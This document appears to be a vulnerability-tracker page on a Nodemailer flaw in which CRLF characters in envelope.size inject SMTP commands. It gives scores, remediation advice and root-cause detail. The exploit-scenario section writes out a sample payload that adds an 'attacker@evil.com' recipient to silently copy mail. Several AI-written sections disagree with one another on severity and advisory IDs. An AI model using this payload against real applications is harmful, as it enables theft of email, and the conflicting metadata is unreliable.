Skip to main content

Nodemailer CVE-2026-82854

| EUVDEUVD-2026-68442 CRITICAL
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-08-31 VulnCheck GHSA-2x76-7hhq-pgvw
Critical
Disputed · 9.3 Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify app exposing envelope.size input
  2. Delivery
    Submit size value with embedded CRLF payload
  3. Exploit
    CRLF terminates MAIL FROM command
  4. Execution
    Injected RCPT TO adds attacker recipient
  5. Impact
    Outgoing email silently copied/redirected to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
Exploitation Conditions

Exploitation requires the target application to (1) pass a custom envelope object to sendMail() rather than relying on the default auto-constructed envelope, AND (2) populate that envelope's size property from attacker-controllable input. Nodemailer never sets size in its default envelope, so out-of-the-box usage is not exploitable - this is the primary limiting factor. The injected value must contain CRLF (\r\n), and the target SMTP server must advertise the SIZE ESMTP extension (the code only appends SIZE= when _supportedExtensions includes 'SIZE'). No authentication to Nodemailer itself is needed and no user interaction is required, but the non-default envelope-exposure configuration sharply narrows the affected population.

Impact

The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) yields a 9.3 critical score, but that figure assumes the vulnerable code path is reachable, which it is not by default: the description and advisory both state the application must explicitly pass a custom envelope with a size property sourced from attacker-controlled input. That precondition is a meaningful limiter and, in my assessment, warrants higher attack complexity than the vendor vector reflects. No EPSS score, KEV listing, or SSVC decision data was provided, and the flaw is not in CISA KEV, so this reads as a real-but-conditional issue rather than a mass-exploited one - priority is high for the subset of apps that expose envelope configuration and low for the majority using defaults. Given Nodemailer's enormous deployment footprint, any team that lets users influence envelope fields should treat patching as urgent, even though the raw 9.3 overstates risk for default deployments. The realistic impact - silent recipient injection and email content exfiltration/redirection - is serious where the condition holds.

Exploit ScenarioDerived

An application lets users configure mail-sending parameters (e.g., a form or API that maps to the envelope) and forwards a size field into Nodemailer's custom envelope. The attacker submits a size value like '1000\r\nRCPT TO:<attacker@evil.com>', which terminates MAIL FROM and injects an extra recipient so a copy of every affected outgoing email is silently delivered to the attacker. A functional PoC (a local SMTP listener that logs the injected commands) is published in the GHSA advisory; exploitation is network-facing and low-effort once the app exposes envelope.size.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 1.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAI

SMTP command injection in Nodemailer before 8.0.4 lets attackers smuggle arbitrary SMTP verbs (notably RCPT TO) into outgoing mail by planting CRLF characters in the envelope.size value, silently adding attacker-controlled recipients or otherwise manipulating the MAIL FROM dialogue. Only applications that pass a custom envelope object and expose its size property to untrusted input are affected, since Nodemailer's default auto-constructed envelope never sets size. A working proof-of-concept is published in the GHSA advisory; there is no public exploit identified beyond that PoC and no evidence of active exploitation.

RemediationAI

Vendor-released patch: 8.0.4 - upgrade the nodemailer dependency to 8.0.4 or later (fix commit https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651, advisory https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8). If you cannot upgrade immediately, the effective compensating control is to stop passing user-controlled data into the envelope: remove the custom envelope object from sendMail() and let Nodemailer auto-construct it from from/to, or if a custom envelope is required, strip or reject any size value and validate all envelope fields against CRLF (reject values matching [\r\n]) before calling sendMail(). Coercing envelope.size to an integer (Number/parseInt) also neutralizes the payload since CRLF cannot survive numeric conversion; the trade-off is that non-numeric size hints are dropped, which is harmless because SIZE expects an integer byte count. These controls have minimal functional side effects because size is rarely set explicitly.

Affected VersionsENISA

nodemailer 0 <8.0.3

Affected Packages

npm nodemailer fix: 8.0.3, 8.0.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Nodemailer is the dominant SMTP client library for Node.js. The flaw is a classic CRLF/command-injection (CWE-93, Improper Neutralization of CRLF Sequences) in the ESMTP transaction layer. In lib/smtp-connection/index.js (lines 1161-1162) the size value is concatenated as 'SIZE=' + this._envelope.size onto the MAIL FROM command with no CRLF filtering, while sibling parameters are sanitized - addresses are validated against [\r\n<>] and DSN fields are encoded via encodeXText(). The tainted value arrives because MimeNode.setEnvelope() (lib/mime-node/index.js, lines 854-858) copies every non-standard envelope key (anything outside to/cc/bcc/from) verbatim. Because _sendCommand() writes the string followed by \r\n directly to the raw TCP socket, an embedded \r\n terminates MAIL FROM and begins a new, attacker-chosen SMTP command. CPE cpe:2.3:a:nodemailer:nodemailer:*:*:*:* confirms the affected component is the nodemailer npm package itself.

Know when Nodemailer gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Sources disagree (Medium–Critical)
Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Reachable only when the app exposes envelope.size (non-default target condition) so AC:H; no auth at Nodemailer level (PR:N); injection manipulates the downstream SMTP dialogue (S:C) redirecting mail (I:H) and enabling content exfiltration (C:L).

3.1 AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:L/SA:N
Red Hat 4.8 MEDIUM

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVE Published
Aug 31, 2026 - 10:50 cve.org
CRITICAL 9.3
Patch available
Aug 31, 2026 - 10:16 EUVD

DescriptionCVE.org

Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.

Technical POC Analysis

Caveat: the supplied GHSA evidence classifies this as Low severity and states "No known CVE"; the CVE-2026-82854/CVSS 9.3 label in the prompt is not present in the supplied advisory.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Threat Intelligence Overview

EPSS Score
1.1%
Top 36% exploitable
Prevalence
High
one of the most widely used Node.js email libraries, millions of weekly npm installs
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 1.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2020-7769 CRITICAL POC
9.8 Nov 12

This affects the package nodemailer before 6.4.16. Rated critical severity (CVSS 9.8), this vulnerability is remotely ex

CVE-2021-23400 HIGH POC
8.8 Jun 29

The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain n

CVE-2026-90776 HIGH POC
8.7 Sep 13

Quadratic time complexity in Nodemailer's addressparser component, versions 9.1.0 through 10.0.4, allows remote unauthen

CVE-2025-14874 HIGH POC
7.5 Dec 18

Unbounded recursion in Nodemailer's address parser (npm package versions 3.0.0 through 7.0.10) allows a single crafted e

CVE-2026-82659 HIGH POC
7.1 Aug 31

Sandbox bypass in nodemailer <= 9.0.0 exposes arbitrary file read and full-response SSRF to any authenticated applicatio

CVE-2026-100700 HIGH
8.7 Sep 26

Denial of service in Nodemailer versions before 10.0.6 lets remote, unauthenticated attackers stall the Node.js event lo

CVE-2026-82662 HIGH
8.3 Aug 31

TLS certificate verification is disabled by hardcoded `rejectUnauthorized: false` in Nodemailer's internal HTTPS fetch c

CVE-2026-100702 HIGH
8.2 Sep 26

Stack exhaustion in Nodemailer before 10.0.2 allows unauthenticated remote attackers to crash an affected Node.js proces

CVE-2026-82853 MEDIUM
6.9 Aug 31

SMTP command injection in Nodemailer (npm) versions up to and including 8.0.4 allows an attacker who can influence the t

CVE-2026-100699 MEDIUM
6.9 Sep 26

Remote, unauthenticated attackers can exploit mis-parsing of recipient addresses in Nodemailer versions 9.1.0 through 10

CVE-2026-100701 MEDIUM
6.0 Sep 26

TLS certificate validation bypass in Nodemailer 5.0.0 through 10.0.1 allows an attacker who can prime a process-global D

CVE-2026-82661 MEDIUM
5.3 Aug 31

CRLF injection in Nodemailer's List-* header construction allows any application-level user with control over list comme

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy